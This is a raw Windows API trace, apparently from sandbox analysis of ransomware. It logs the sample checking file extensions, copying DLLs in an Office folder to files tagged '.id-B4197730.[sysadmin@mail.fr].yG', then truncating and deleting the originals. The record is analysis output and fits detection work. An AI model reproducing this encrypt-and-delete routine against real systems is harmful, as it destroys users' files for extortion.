	[0055.521] lstrlenW (lpString=".doc") returned 4
	[0055.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString=".docx") returned 5
	[0055.521] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.521] lstrlenW (lpString=".pdf") returned 4
	[0055.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString=".xls") returned 4
	[0055.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString=".xlsx") returned 5
	[0055.521] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.521] lstrlenW (lpString=".ppt") returned 4
	[0055.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.521] lstrlenW (lpString=".zip") returned 4
	[0055.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString=".rar") returned 4
	[0055.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString=".bz2") returned 4
	[0055.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.521] lstrlenW (lpString=".7z") returned 3
	[0055.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.522] lstrlenW (lpString=".dbf") returned 4
	[0055.522] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.522] lstrlenW (lpString=".1cd") returned 4
	[0055.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.522] lstrlenW (lpString=".jpg") returned 4
	[0055.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.522] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.522] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32
	[0055.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.522] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=19136) returned 1
	[0055.522] CloseHandle (hObject=0x398) returned 1
	[0055.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20
	[0055.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.523] GetLastError () returned 0x0
	[0055.523] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0055.534] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0055.535] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.535] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x114, lpOverlapped=0x0) returned 1
	[0055.535] SetEndOfFile (hFile=0x330) returned 1
	[0055.535] CloseHandle (hObject=0x330) returned 1
	[0055.536] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.536] SetEndOfFile (hFile=0x398) returned 1
	[0055.537] CloseHandle (hObject=0x398) returned 1
	[0055.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.537] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1
	[0055.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.537] lstrlenW (lpString=".doc") returned 4
	[0055.538] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString=".docx") returned 5
	[0055.538] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.538] lstrlenW (lpString=".pdf") returned 4
	[0055.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString=".xls") returned 4
	[0055.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString=".xlsx") returned 5
	[0055.538] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.538] lstrlenW (lpString=".ppt") returned 4
	[0055.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.538] lstrlenW (lpString=".zip") returned 4
	[0055.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString=".rar") returned 4
	[0055.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString=".bz2") returned 4
	[0055.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.538] lstrlenW (lpString=".7z") returned 3
	[0055.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.538] lstrlenW (lpString=".dbf") returned 4
	[0055.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.538] lstrlenW (lpString=".1cd") returned 4
	[0055.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.538] lstrlenW (lpString=".jpg") returned 4
	[0055.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.538] lstrlenW (lpString=".doc") returned 4
	[0055.539] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.539] lstrlenW (lpString=".docx") returned 5
	[0055.539] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.539] lstrlenW (lpString=".pdf") returned 4
	[0055.539] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.539] lstrlenW (lpString=".xls") returned 4
	[0055.539] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.539] lstrlenW (lpString=".xlsx") returned 5
	[0055.539] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.539] lstrlenW (lpString=".ppt") returned 4
	[0055.539] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.539] lstrlenW (lpString=".zip") returned 4
	[0055.539] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.539] lstrlenW (lpString=".rar") returned 4
	[0055.539] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.539] lstrlenW (lpString=".bz2") returned 4
	[0055.539] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.539] lstrlenW (lpString=".7z") returned 3
	[0055.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.539] lstrlenW (lpString=".dbf") returned 4
	[0055.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.539] lstrlenW (lpString=".1cd") returned 4
	[0055.540] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0055.540] lstrlenW (lpString=".jpg") returned 4
	[0055.540] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.540] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.540] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30
	[0055.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0055.571] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=27840) returned 1
	[0055.571] CloseHandle (hObject=0x2f0) returned 1
	[0055.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20
	[0055.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0055.578] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.578] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0055.579] GetLastError () returned 0x0
	[0055.579] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x6cc0, lpOverlapped=0x0) returned 1
	[0055.581] WriteFile (in: hFile=0x390, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x6cd0, lpOverlapped=0x0) returned 1
	[0055.582] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.582] WriteFile (in: hFile=0x390, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x110, lpOverlapped=0x0) returned 1
	[0055.582] SetEndOfFile (hFile=0x390) returned 1
	[0055.582] CloseHandle (hObject=0x390) returned 1
	[0055.583] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.583] SetEndOfFile (hFile=0x2f0) returned 1
	[0055.584] CloseHandle (hObject=0x2f0) returned 1
	[0055.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.584] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1
	[0055.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.584] lstrlenW (lpString=".doc") returned 4
	[0055.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.584] lstrlenW (lpString=".docx") returned 5
	[0055.584] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.584] lstrlenW (lpString=".pdf") returned 4
	[0055.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.584] lstrlenW (lpString=".xls") returned 4
	[0055.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.584] lstrlenW (lpString=".xlsx") returned 5
	[0055.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.584] lstrlenW (lpString=".ppt") returned 4
	[0055.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString=".zip") returned 4
	[0055.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".rar") returned 4
	[0055.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".bz2") returned 4
	[0055.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.585] lstrlenW (lpString=".7z") returned 3
	[0055.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString=".dbf") returned 4
	[0055.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString=".1cd") returned 4
	[0055.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString=".jpg") returned 4
	[0055.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString=".doc") returned 4
	[0055.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".docx") returned 5
	[0055.585] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.585] lstrlenW (lpString=".pdf") returned 4
	[0055.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".xls") returned 4
	[0055.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".xlsx") returned 5
	[0055.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.585] lstrlenW (lpString=".ppt") returned 4
	[0055.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.585] lstrlenW (lpString=".zip") returned 4
	[0055.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".rar") returned 4
	[0055.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.585] lstrlenW (lpString=".bz2") returned 4
	[0055.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.586] lstrlenW (lpString=".7z") returned 3
	[0055.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.586] lstrlenW (lpString=".dbf") returned 4
	[0055.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.586] lstrlenW (lpString=".1cd") returned 4
	[0055.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0055.586] lstrlenW (lpString=".jpg") returned 4
	[0055.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.586] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.586] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33
	[0055.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0055.586] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=19648) returned 1
	[0055.586] CloseHandle (hObject=0x2f0) returned 1
	[0055.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20
	[0055.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0055.587] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.587] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0055.587] GetLastError () returned 0x0
	[0055.587] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0055.596] WriteFile (in: hFile=0x390, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0055.597] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.597] WriteFile (in: hFile=0x390, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x116, lpOverlapped=0x0) returned 1
	[0055.598] SetEndOfFile (hFile=0x390) returned 1
	[0055.598] CloseHandle (hObject=0x390) returned 1
	[0055.598] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.599] SetEndOfFile (hFile=0x2f0) returned 1
	[0055.599] CloseHandle (hObject=0x2f0) returned 1
	[0055.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.600] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1
	[0055.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.600] lstrlenW (lpString=".doc") returned 4
	[0055.600] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.600] lstrlenW (lpString=".docx") returned 5
	[0055.600] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.600] lstrlenW (lpString=".pdf") returned 4
	[0055.600] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.600] lstrlenW (lpString=".xls") returned 4
	[0055.600] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.600] lstrlenW (lpString=".xlsx") returned 5
	[0055.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.600] lstrlenW (lpString=".ppt") returned 4
	[0055.600] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.600] lstrlenW (lpString=".zip") returned 4
	[0055.600] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.600] lstrlenW (lpString=".rar") returned 4
	[0055.600] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.600] lstrlenW (lpString=".bz2") returned 4
	[0055.600] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.600] lstrlenW (lpString=".7z") returned 3
	[0055.601] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
